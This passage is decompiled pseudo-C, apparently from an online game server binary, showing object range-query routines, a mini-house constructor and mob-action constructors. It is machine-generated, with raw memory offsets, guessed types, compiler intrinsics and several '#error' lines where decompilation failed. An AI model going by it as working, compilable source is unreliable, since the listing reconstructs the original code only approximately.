v35; // ebx@67 int v36; // eax@71 int v37; // esi@73 int v38; // edi@73 signed int v39; // ecx@73 int v40; // esi@75 int v41; // eax@75 signed int v42; // ecx@76 _iobuf *v43; // eax@88 char v44; // bl@100 void *v45; // [sp+0h] [bp-134h]@1 int rangesquar; // [sp+4h] [bp-130h]@13 int cos1024; // [sp+8h] [bp-12Ch]@0 VectorClass::UnitVector targetvector; // [sp+10h] [bp-124h]@36 FunctionEntarance _; // [sp+20h] [bp-114h]@1 char string; // [sp+24h] [bp-110h]@88 unsigned int v51; // [sp+124h] [bp-10h]@104 int v52; // [sp+130h] [bp-4h]@1 v8 = this; v45 = this; _.fe_FunctionCode = "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v52 = 0; if ( g_BroadcastStackPoint >= 3 ) { v10 = DebugLogging::operator<<(&BroadCastLog, "Too many Broadcast Nest"); DebugLogging::operator<<(v10, &deb_LF); v9 = 0; } else { ++g_BroadcastStackPoint; v9 = 1; } LOBYTE(v52) = 1; if ( !v9 ) goto LABEL_8; if ( (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v8 + 26) + 4) + 1572))() == v8 && (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v8 + 30) + 4) + 1572))() == v8 ) { MapRearrangeObserver::mro_Set(&maprearrangeobserver, "Unlinked object"); LABEL_8: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; v52 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"); goto LABEL_104; } ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( fansector ) cos1024 = ShineRadian::sr_cos1024(&shineradian, *(_DWORD *)fansector / 2); v11 = range; rangesquar = range * range; v12 = **(_DWORD **)(**(_DWORD **)((char *)v8 + 26) + 4); loop = 0; v13 = center; v14 = (*(int (**)(void))(v12 + 1572))(); if ( v14 ) { while ( 1 ) { if ( (unsigned int)(range + **(_DWORD **)(v14 + 78)) <= *(_DWORD *)center ) goto LABEL_19; v17 = __OFSUB__(loop + 1, 10000); v15 = loop == 9999; v16 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v16 ^ v17) | v15) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v14) ) goto LABEL_40; if ( !(v14 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v14 + 26) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v14 + 2116))(v14, 1); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal0"); FieldMap::fm_Relink(*(_DWORD *)(v14 + 98)); goto LABEL_40; } *(_DWORD *)(v14 + 4 * g_BroadcastStackPoint + 46) = event; v14 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v14 + 26) + 4) + 1572))(); if ( !v14 ) goto LABEL_19; } v26 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); DebugLogging::operator<<(v26, &deb_LF); goto LABEL_40; } LABEL_19: v18 = **(_DWORD **)(**(_DWORD **)((char *)v8 + 30) + 4); loop = 0; v19 = (*(int (**)(void))(v18 + 1572))(); if ( v19 ) { while ( 1 ) { if ( **(_DWORD **)(v19 + 78) >= (unsigned int)(range + *(_DWORD *)center) ) goto LABEL_25; v17 = __OFSUB__(loop + 1, 10000); v15 = loop == 9999; v16 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v16 ^ v17) | v15) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v19) ) goto LABEL_40; if ( !(v19 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v19 + 30) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v19 + 2116))(v19, 2); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal1"); FieldMap::fm_Relink(*(_DWORD *)(v19 + 98)); goto LABEL_40; } *(_DWORD *)(v19 + 4 * g_BroadcastStackPoint + 46) = event; v19 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v19 + 30) + 4) + 1572))(); if ( !v19 ) goto LABEL_25; } v27 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( DebugLogging::dl_ActivAll && v27->dl_Activ && v27->dl_FilePointer ) { v28 = DebugLogging::dl_FilePoint(v27); fputc(10, v28); fflush(v27->dl_FilePointer); fclose(v27->dl_FilePointer); v27->dl_FilePointer = 0; } LABEL_40: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v52 = -1; LABEL_43: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"); goto LABEL_104; } LABEL_25: ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; v20 = **(_DWORD **)(**(_DWORD **)((char *)v8 + 38) + 4); loop = 0; v21 = (*(int (**)(void))(v20 + 1572))(); if ( v21 ) { while ( 1 ) { if ( (unsigned int)(v11 + *(_DWORD *)(*(_DWORD *)(v21 + 78) + 4)) <= *(_DWORD *)(center + 4) ) goto LABEL_62; v17 = __OFSUB__(loop + 1, 10000); v15 = loop == 9999; v16 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v16 ^ v17) | v15) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v21) ) goto LABEL_55; if ( !(v21 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v21 + 38) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v21 + 2116))(v21, 3); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal2"); FieldMap::fm_Relink(*(_DWORD *)(v21 + 98)); goto LABEL_55; } v22 = *(_DWORD *)(center + 4); v23 = (**(_DWORD **)(v21 + 78) - *(_DWORD *)center) * (**(_DWORD **)(v21 + 78) - *(_DWORD *)center) + (*(_DWORD *)(*(_DWORD *)(v21 + 78) + 4) - v22) * (*(_DWORD *)(*(_DWORD *)(v21 + 78) + 4) - v22); if ( *(_DWORD *)(v21 + 4 * g_BroadcastStackPoint + 46) == event && *(_WORD *)(v21 + 4) != excepter && v23 < (unsigned int)rangesquar ) { if ( !fansector || (v24 = *(_DWORD *)(v21 + 78), *(_DWORD *)center == *(_DWORD *)v24) && v22 == *(_DWORD *)(v24 + 4) || ((VectorClass::UnitVector::UnitVector(&targetvector, (SHINE_XY_TYPE *)v24, (SHINE_XY_TYPE *)center), fansector == -4) ? (v25 = 0) : (v25 = fansector + 8), v29 = targetvector.baseclass_0.baseclass_4.v_x * *(_DWORD *)v25 + targetvector.baseclass_0.baseclass_4.v_y * *(_DWORD *)(v25 + 4), targetvector.baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_, v29 >= cos1024) ) { if ( !(unsigned __int8)(**(int (__stdcall ***)(void *, int, int))ala)(v45, v21, v23) ) goto LABEL_40; } } v21 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v21 + 38) + 4) + 1572))(); if ( !v21 ) goto LABEL_62; v11 = range; } v30 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( DebugLogging::dl_ActivAll && v30->dl_Activ && v30->dl_FilePointer ) { fputc(10, v30->dl_FilePointer); fflush(v30->dl_FilePointer); fclose(v30->dl_FilePointer); v30->dl_FilePointer = 0; } LABEL_55: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v52 = -1; goto LABEL_43; } LABEL_62: v31 = **(_DWORD **)(**(_DWORD **)((char *)v45 + 42) + 4); loop = 0; v32 = (*(int (**)(void))(v31 + 1572))(); if ( v32 ) { while ( 1 ) { if ( *(_DWORD *)(*(_DWORD *)(v32 + 78) + 4) >= (unsigned int)(range + *(_DWORD *)(v13 + 4)) ) goto LABEL_99; v17 = __OFSUB__(loop + 1, 10000); v15 = loop == 9999; v16 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v16 ^ v17) | v15) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v32) ) goto LABEL_83; if ( !(v32 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v32 + 42) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v32 + 2116))(v32, 4); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal3"); FieldMap::fm_Relink(*(_DWORD *)(v32 + 98)); LABEL_83: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v52 = -1; goto LABEL_43; } v33 = *(_DWORD *)center; v34 = *(_DWORD *)(center + 4); v35 = (**(_DWORD **)(v32 + 78) - *(_DWORD *)center) * (**(_DWORD **)(v32 + 78) - *(_DWORD *)center) + (*(_DWORD *)(*(_DWORD *)(v32 + 78) + 4) - v34) * (*(_DWORD *)(*(_DWORD *)(v32 + 78) + 4) - v34); if ( *(_DWORD *)(v32 + 4 * g_BroadcastStackPoint + 46) == event && *(_WORD *)(v32 + 4) != excepter && v35 < (unsigned int)rangesquar ) { if ( !fansector || (v36 = *(_DWORD *)(v32 + 78), v33 == *(_DWORD *)v36) && v34 == *(_DWORD *)(v36 + 4) ) goto LABEL_107; v37 = *(_DWORD *)v36 - v33; v38 = *(_DWORD *)(v36 + 4) - v34; v39 = DirectDistanceTable::ddt_Distance(&ddt, v37, *(_DWORD *)(v36 + 4) - v34); if ( !v39 ) { v37 = 1; v38 = 0; v39 = 1; } v40 = 32 * v37 / v39; v41 = 32 * v38 / v39; v42 = fansector == -4 ? 0 : fansector + 8; if ( v40 * *(_DWORD *)v42 + v41 * *(_DWORD *)(v42 + 4) >= cos1024 ) { LABEL_107: if ( !(unsigned __int8)(**(int (__stdcall ***)(void *, int, int))ala)(v45, v32, v35) ) goto LABEL_40; } } v32 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v32 + 42) + 4) + 1572))(); if ( !v32 ) goto LABEL_99; v13 = center; } if ( !DebugLogging::dl_ActivAll ) goto LABEL_83; if ( unk_124E7FAC ) { sprintf(&string, "%.255s"); v43 = unk_124E7E28; if ( !unk_124E7E28 ) { if ( !*DebugLogging::dl_MakeFileName(&BroadCastLog) ) { v43 = 0; unk_124E7E28 = 0; goto LABEL_95; } v43 = fopen(unk_124E7EAC, "a+"); unk_124E7E28 = v43; if ( !v43 || (fprintf(v43, "%s : "), (v43 = unk_124E7E28) == 0) ) { LABEL_95: if ( DebugLogging::dl_ActivAll && unk_124E7FAC && v43 ) { fputc(10, v43); fflush(unk_124E7E28); fclose(unk_124E7E28); unk_124E7E28 = 0; } goto LABEL_83; } } fputs(&string, v43); } v43 = unk_124E7E28; goto LABEL_95; } LABEL_99: if ( tome ) v44 = (**(int (__stdcall ***)(void *, void *, _DWORD))ala)(v45, v45, 0); if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; v52 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"); LABEL_104: __security_check_cookie(v51); } // 445A80: using guessed type int __thiscall FieldMap__fm_Relink(_DWORD); // 5AE638: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; // 601970: using guessed type int g_BroadcastStackPoint; //----- (004FD370) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_AllOfRangeNomal(void *this, int event, int center, int range, int fansector, int (__thiscall *axialfunc)(_DWORD, _DWORD, _DWORD), int a7, int a8, int a9, char tome, __int16 excepter) { void *v11; // ebp@1 char v12; // al@2 DebugLogging *v13; // eax@3 int v14; // edi@13 int v15; // edx@13 int v16; // ebx@13 int v17; // esi@13 bool v18; // zf@15 bool v19; // sf@15 unsigned __int8 v20; // of@15 int v21; // edx@19 int v22; // esi@19 int v23; // eax@25 int v24; // esi@25 int v25; // ebp@30 int v26; // edi@30 int v27; // eax@34 int v28; // eax@37 DebugLogging *v29; // eax@39 DebugLogging *v30; // esi@45 _iobuf *v31; // eax@48 int v32; // ecx@50 DebugLogging *v33; // esi@58 int v34; // eax@62 int v35; // ebp@62 int v36; // edi@67 int v37; // edx@67 int v38; // ebx@67 int v39; // eax@71 int v40; // esi@73 int v41; // edi@73 signed int v42; // ecx@73 int v43; // esi@75 int v44; // eax@75 signed int v45; // ecx@76 _iobuf *v46; // eax@88 char v47; // bl@100 void *v48; // [sp+0h] [bp-134h]@1 int rangesquar; // [sp+4h] [bp-130h]@13 int cos1024; // [sp+8h] [bp-12Ch]@0 VectorClass::UnitVector targetvector; // [sp+10h] [bp-124h]@36 FunctionEntarance _; // [sp+20h] [bp-114h]@1 char string; // [sp+24h] [bp-110h]@88 unsigned int v54; // [sp+124h] [bp-10h]@104 int v55; // [sp+130h] [bp-4h]@1 v11 = this; v48 = this; _.fe_FunctionCode = "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v55 = 0; if ( g_BroadcastStackPoint >= 3 ) { v13 = DebugLogging::operator<<(&BroadCastLog, "Too many Broadcast Nest"); DebugLogging::operator<<(v13, &deb_LF); v12 = 0; } else { ++g_BroadcastStackPoint; v12 = 1; } LOBYTE(v55) = 1; if ( !v12 ) goto LABEL_8; if ( (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v11 + 26) + 4) + 1572))() == v11 && (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v11 + 30) + 4) + 1572))() == v11 ) { MapRearrangeObserver::mro_Set(&maprearrangeobserver, "Unlinked object"); LABEL_8: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; v55 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"); goto LABEL_104; } ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( fansector ) cos1024 = ShineRadian::sr_cos1024(&shineradian, *(_DWORD *)fansector / 2); v14 = range; rangesquar = range * range; v15 = **(_DWORD **)(**(_DWORD **)((char *)v11 + 26) + 4); loop = 0; v16 = center; v17 = (*(int (**)(void))(v15 + 1572))(); if ( v17 ) { while ( 1 ) { if ( (unsigned int)(range + **(_DWORD **)(v17 + 78)) <= *(_DWORD *)center ) goto LABEL_19; v20 = __OFSUB__(loop + 1, 10000); v18 = loop == 9999; v19 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v19 ^ v20) | v18) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v17) ) goto LABEL_40; if ( !(v17 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v17 + 26) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v17 + 2116))(v17, 5); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal4"); FieldMap::fm_Relink(*(_DWORD *)(v17 + 98)); goto LABEL_40; } *(_DWORD *)(v17 + 4 * g_BroadcastStackPoint + 46) = event; v17 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v17 + 26) + 4) + 1572))(); if ( !v17 ) goto LABEL_19; } v29 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); DebugLogging::operator<<(v29, &deb_LF); goto LABEL_40; } LABEL_19: v21 = **(_DWORD **)(**(_DWORD **)((char *)v11 + 30) + 4); loop = 0; v22 = (*(int (**)(void))(v21 + 1572))(); if ( v22 ) { while ( 1 ) { if ( **(_DWORD **)(v22 + 78) >= (unsigned int)(range + *(_DWORD *)center) ) goto LABEL_25; v20 = __OFSUB__(loop + 1, 10000); v18 = loop == 9999; v19 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v19 ^ v20) | v18) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v22) ) goto LABEL_40; if ( !(v22 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v22 + 30) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v22 + 2116))(v22, 6); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal5"); FieldMap::fm_Relink(*(_DWORD *)(v22 + 98)); goto LABEL_40; } *(_DWORD *)(v22 + 4 * g_BroadcastStackPoint + 46) = event; v22 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v22 + 30) + 4) + 1572))(); if ( !v22 ) goto LABEL_25; } v30 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( DebugLogging::dl_ActivAll && v30->dl_Activ && v30->dl_FilePointer ) { v31 = DebugLogging::dl_FilePoint(v30); fputc(10, v31); fflush(v30->dl_FilePointer); fclose(v30->dl_FilePointer); v30->dl_FilePointer = 0; } LABEL_40: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v55 = -1; LABEL_43: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"); goto LABEL_104; } LABEL_25: ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; v23 = **(_DWORD **)(**(_DWORD **)((char *)v11 + 38) + 4); loop = 0; v24 = (*(int (**)(void))(v23 + 1572))(); if ( v24 ) { while ( 1 ) { if ( (unsigned int)(v14 + *(_DWORD *)(*(_DWORD *)(v24 + 78) + 4)) <= *(_DWORD *)(center + 4) ) goto LABEL_62; v20 = __OFSUB__(loop + 1, 10000); v18 = loop == 9999; v19 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v19 ^ v20) | v18) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v24) ) goto LABEL_55; if ( !(v24 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v24 + 38) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v24 + 2116))(v24, 7); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal6"); FieldMap::fm_Relink(*(_DWORD *)(v24 + 98)); goto LABEL_55; } v25 = *(_DWORD *)(center + 4); v26 = (**(_DWORD **)(v24 + 78) - *(_DWORD *)center) * (**(_DWORD **)(v24 + 78) - *(_DWORD *)center) + (*(_DWORD *)(*(_DWORD *)(v24 + 78) + 4) - v25) * (*(_DWORD *)(*(_DWORD *)(v24 + 78) + 4) - v25); if ( *(_DWORD *)(v24 + 4 * g_BroadcastStackPoint + 46) == event && *(_WORD *)(v24 + 4) != excepter && v26 < (unsigned int)rangesquar ) { if ( !fansector || (v27 = *(_DWORD *)(v24 + 78), *(_DWORD *)center == *(_DWORD *)v27) && v25 == *(_DWORD *)(v27 + 4) || ((VectorClass::UnitVector::UnitVector(&targetvector, (SHINE_XY_TYPE *)v27, (SHINE_XY_TYPE *)center), fansector == -4) ? (v28 = 0) : (v28 = fansector + 8), v32 = targetvector.baseclass_0.baseclass_4.v_x * *(_DWORD *)v28 + targetvector.baseclass_0.baseclass_4.v_y * *(_DWORD *)(v28 + 4), targetvector.baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_, v32 >= cos1024) ) { if ( !(unsigned __int8)axialfunc(v24 + a7, v48, v26) ) goto LABEL_40; } } v24 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v24 + 38) + 4) + 1572))(); if ( !v24 ) goto LABEL_62; v14 = range; } v33 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( DebugLogging::dl_ActivAll && v33->dl_Activ && v33->dl_FilePointer ) { fputc(10, v33->dl_FilePointer); fflush(v33->dl_FilePointer); fclose(v33->dl_FilePointer); v33->dl_FilePointer = 0; } LABEL_55: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v55 = -1; goto LABEL_43; } LABEL_62: v34 = **(_DWORD **)(**(_DWORD **)((char *)v48 + 42) + 4); loop = 0; v35 = (*(int (**)(void))(v34 + 1572))(); if ( v35 ) { while ( 1 ) { if ( *(_DWORD *)(*(_DWORD *)(v35 + 78) + 4) >= (unsigned int)(range + *(_DWORD *)(v16 + 4)) ) goto LABEL_99; v20 = __OFSUB__(loop + 1, 10000); v18 = loop == 9999; v19 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v19 ^ v20) | v18) ) break; if ( !ShineObjectClass::ShineObject::so_SlantedListCheck((void *)v35) ) goto LABEL_83; if ( !(v35 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v35 + 42) + 4) + 1572))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v35 + 2116))(v35, 8); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal7"); FieldMap::fm_Relink(*(_DWORD *)(v35 + 98)); LABEL_83: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v55 = -1; goto LABEL_43; } v36 = *(_DWORD *)center; v37 = *(_DWORD *)(center + 4); v38 = (**(_DWORD **)(v35 + 78) - *(_DWORD *)center) * (**(_DWORD **)(v35 + 78) - *(_DWORD *)center) + (*(_DWORD *)(*(_DWORD *)(v35 + 78) + 4) - v37) * (*(_DWORD *)(*(_DWORD *)(v35 + 78) + 4) - v37); if ( *(_DWORD *)(v35 + 4 * g_BroadcastStackPoint + 46) == event && *(_WORD *)(v35 + 4) != excepter && v38 < (unsigned int)rangesquar ) { if ( !fansector || (v39 = *(_DWORD *)(v35 + 78), v36 == *(_DWORD *)v39) && v37 == *(_DWORD *)(v39 + 4) ) goto LABEL_107; v40 = *(_DWORD *)v39 - v36; v41 = *(_DWORD *)(v39 + 4) - v37; v42 = DirectDistanceTable::ddt_Distance(&ddt, v40, *(_DWORD *)(v39 + 4) - v37); if ( !v42 ) { v40 = 1; v41 = 0; v42 = 1; } v43 = 32 * v40 / v42; v44 = 32 * v41 / v42; v45 = fansector == -4 ? 0 : fansector + 8; if ( v43 * *(_DWORD *)v45 + v44 * *(_DWORD *)(v45 + 4) >= cos1024 ) { LABEL_107: if ( !(unsigned __int8)axialfunc(a7 + v35, v48, v38) ) goto LABEL_40; } } v35 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v35 + 42) + 4) + 1572))(); if ( !v35 ) goto LABEL_99; v16 = center; } if ( !DebugLogging::dl_ActivAll ) goto LABEL_83; if ( unk_124E7FAC ) { sprintf(&string, "%.255s"); v46 = unk_124E7E28; if ( !unk_124E7E28 ) { if ( !*DebugLogging::dl_MakeFileName(&BroadCastLog) ) { v46 = 0; unk_124E7E28 = 0; goto LABEL_95; } v46 = fopen(unk_124E7EAC, "a+"); unk_124E7E28 = v46; if ( !v46 || (fprintf(v46, "%s : "), (v46 = unk_124E7E28) == 0) ) { LABEL_95: if ( DebugLogging::dl_ActivAll && unk_124E7FAC && v46 ) { fputc(10, v46); fflush(unk_124E7E28); fclose(unk_124E7E28); unk_124E7E28 = 0; } goto LABEL_83; } } fputs(&string, v46); } v46 = unk_124E7E28; goto LABEL_95; } LABEL_99: if ( tome ) v47 = axialfunc((char *)v48 + a7, v48, 0); if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; v55 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"); LABEL_104: __security_check_cookie(v54); } // 445A80: using guessed type int __thiscall FieldMap__fm_Relink(_DWORD); // 5AE638: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; // 601970: using guessed type int g_BroadcastStackPoint; //----- (004FDCE0) -------------------------------------------------------- #error "4FDCE0: undefined or illegal type '#325' (funcsize=107)" //----- (004FDE40) -------------------------------------------------------- #error "4FDE40: undefined or illegal type '#325' (funcsize=122)" //----- (004FDFC0) -------------------------------------------------------- #error "4FDFC0: undefined or illegal type '#325' (funcsize=133)" //----- (004FE160) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse(int event, int center, int range, int fansector, int axialfunc, int a6, int a7, int a8, char tome, __int16 excepter) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse_Func5"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse_Func5"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse_Func5"); return 1; } //----- (004FE1E0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMobileObject::_scalar_deleting_destructor_(unsigned int this) { void *v1; // esi@1 char v3; // [sp+8h] [bp+4h]@0 v1 = (void *)this; ShineObjectClass::ShineMobileObject::_ShineMobileObject(this); if ( v3 & 1 ) operator delete(v1); return v1; } //----- (004FE200) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::ShineMiniHouse(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD *v2; // eax@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineMiniHouse::_vftable_; *(_DWORD *)&v1->smh_Info.loginloc.currentmap.n3_name[8] = 0; *(_DWORD *)&v1->smh_Info.loginloc.currentmap.n3_name[4] = 0; *(_DWORD *)&v1->smh_Info.loginloc.currentmap.n3_name[0] = 0; *(_DWORD *)&v1->smh_Info.RollBackPos.exitmapname.n3_name[8] = 0; *(_DWORD *)&v1->smh_Info.RollBackPos.exitmapname.n3_name[4] = 0; *(_DWORD *)&v1->smh_Info.RollBackPos.exitmapname.n3_name[0] = 0; *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[8] = 0; *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[4] = 0; *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[0] = 0; ShineObjectClass::ShineMiniHouse::MiniHouseInven::MiniHouseInven(&v1->smh_Furniture); BriefInformationMiniHouse::BriefInformationMiniHouse(&v1->smh_BriefInfo); v2 = v1->smh_BriefInfo.bimh_BriefInfo; *(_DWORD *)&v1->gap0[78] = (char *)v2 + 30; *(_DWORD *)&v1->gap0[82] = (char *)v2 + 38; } // 5D0958: using guessed type int (*ShineObjectClass__ShineMiniHouse___vftable_)(); //----- (004FE2B0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::MobActionArgument(MobTacticElement::MobActionArgument *this) { MobTacticElement::MobActionArgument *v1; // esi@1 v1 = this; MobTacticElement::MobActionArgument::Selector::Selector(&this->maa_TargetSelect); MobTacticElement::MobActionArgument::Actor::Actor(&v1->maa_MobActionStruct); } //----- (004FE300) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::_MobActionArgument(MobTacticElement::MobActionArgument *this) { MobTacticElement::MobActionArgument *v1; // esi@1 v1 = this; MobTacticElement::MobActionArgument::Actor::_Actor(&this->maa_MobActionStruct); MobTacticElement::MobActionArgument::Selector::_Selector(&v1->maa_TargetSelect); } //----- (004FE350) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_FreeFromList(int this) { int v1; // esi@1 int v2; // eax@1 int v3; // edx@1 SlantedCoordList::CoordedNode *v4; // ecx@1 signed __int16 v5; // di@1 signed __int16 v6; // bx@1 v1 = this; v2 = *(_DWORD *)(this + 26); v3 = *(_DWORD *)(this + 30); v4 = 